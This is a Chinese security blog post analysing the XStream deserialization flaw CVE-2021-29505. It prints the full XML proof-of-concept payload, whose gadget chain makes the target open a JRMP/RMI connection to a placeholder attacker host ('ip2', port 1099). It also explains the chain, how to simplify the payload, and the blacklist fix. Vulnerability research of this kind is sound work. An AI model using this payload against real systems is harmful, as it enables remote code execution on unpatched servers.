freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

XStream CVE-2021-29505分析与简化
FreeBuf_355817 2021-06-22 15:23:27 352236

XStream CVE-2021-29505分析与简化

简介

最近有点其他事,很久没有更新了。正好看到XStream又发布最新的漏洞通告了,而且还有很多人复现,维度缺少分析文章。而且XStream官网公布的payload貌似不能正常使用,者激发了我的好奇心。恰好前段时间分析微某ao积累了一点点XStream分析经验。


漏洞分析

我们首先明确一点,XStream是一个序列化存储对象的库,类似于java原生的序列化。所以Xstream可以用在任何地方。很多公众号通过web接口去复现xstream的方法是及其不负责的,很让人容易产生错觉。

Xstream新增了很多功能,例如可以序列化未继承自java.io.serializable接口的类的对象。其他功能均与java原生的序列化功能一样,如果xstream在反序列化的时候发现还原继承自java.io.serializable的类,则同样会调用对象的readObject方法。

Ysoserial所有的payload均可以转换为xstream格式

所以反序列化漏洞的特点在于类的readObject方法,分析的时候重点看readObject方法都做了什么操作。

目前xstream的修复方案是,没有修复方案,就新增几个黑名单。但是我们知道,xstream可以反序列化任意文件,所以gadget相对好挖

cve-2021-29505的payload如下所示,

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: <none></m__obj>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
          <parsedMessage>true</parsedMessage>
          <soapVersion>SOAP_11</soapVersion>
          <bodyParts/>
          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
            <attachmentsInitialized>false</attachmentsInitialized>
            <multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
              <soapPart/>
              <mm>
                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                  <aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'>
                    <candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'>
                      <names>
                        <string>aa</string>
                        <string>aa</string>
                      </names>
                      <ctx>
                        <environment/>
                        <registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'>
                          <java.rmi.server.RemoteObject>
                            <string>UnicastRef</string>
                            <string>ip2</string>
                            <int>1099</int>
                            <long>0</long>
                            <int>0</int>
                            <short>0</short>
                            <boolean>false</boolean>
                          </java.rmi.server.RemoteObject>
                        </registry>
                        <host>ip2</host>
                        <port>1099</port>
                      </ctx>
                    </candidates>
                  </aliases>
                </it>
              </mm>
            </multiPart>
          </sm>
        </message>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

当然,这段从官网上摘抄的poc是无法使用的,原因我们一会再讲,我们主要说一下xstream是怎么存储一个对象的。

如果序列化自一个对象,则xml的开始标签为对象的类的名称,如果该类存在readObject方法,则标签内注明serialization='custom'。在这里,xstream是不负责被序列化的类的一致性检测(suid)的。所以使用xstream在做某些序列化对象的操作的时候一定要注意。

与java原生反序列化存储格式相同,xml标签中,首先存储父类的字段信息,然后再存储子类的。顺序则按照类声明字段的顺序。每一层,都会注明子类的全限定名。在对象中,每个xml标签对应着对象的字段。

xstream为了不过多干涉用户的序列化工作,又为了安全性着想,只弄了一个简简单单的黑名单。但是xstream的官方建议是,自己写黑名单类!1.4.16的黑名单类如下,两个都是,也没必要搞清楚了,知道是过滤就行了。


好了,现在基础知识我们知道了。下面开始分析上面的poc,

java.util.PriorityQueue类顾名思义,维持一个有序队列。为了保证反序列化后的队列是有序的,所以在无序地还原完所有元素后,调用heapify方法,将目前无序的队列变成有序的。在这里java为了给我们很大的自由度,规定只要继承自Compare接口的类都可以用来做排序算法。(思考一下是不是与c#的typeConfused gadget类似)

一般java.util.PriorityQueue类的反序列化出发点都会在heapify方法中,也就是调整元素的顺序。但是上面的poc显然并不是这样触发的,原因是poc中根本就没有还原compare字段。

按照我刚才的思路,找poc中类的readObject方法,发现JRMP最终是由sun.rmi.registry.RegistryImpl_Stub去处理。下面我们看看相关代码

要还原RegistryImpl_Stub对象,按照反序列化先后顺序,首先还原父类的字段信息,也就是java.rmi.server.RemoteObject,在poc中已经写明。然后调用java.rmi.server.RemoteObject的readObject方法

首先实例化UnicastRef对象,然后调用UnicastRef对象的readExternal方法,最终实际调用的代码如下

看到DGCClient.registerRefs,一切就简单明了了。在先知上的 针对RMI服务的九重攻击 - 下中已经分析过了。部分截图如下


既然我们已经知道了触发流程,那么来简化一下poc吧,删掉不需要的地方,只保留sun.rmi.registry.RegistryImpl_Stub部分,注意别保留java.rmi.server.RemoteObject部分,因为java.rmi.server.RemoteObject是抽象类,不可以被直接实例化的。反序列化也要遵守JVM的规定


触发一下poc

修复分析

我们看一下xstream 1.4.17的黑名单变化

将与rmi有关的类名,全部加入黑名单中。但是治标不治本,weblogic包中也有很多关于rmi的部分哟,祝大家挖的愉快



image

# 网络安全技术
本文为 FreeBuf_355817 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_355817 LV.4
这家伙太懒了,还未填写个人描述!
  • 24 文章数
  • 35 关注者
cve-2021-2394 weblogic反序列化漏洞分析
2021-07-26
[域渗透] SQLSERVER 结合中继与委派
2021-06-24
C# dump系统lsass内存和sam注册表
2021-06-22
文章目录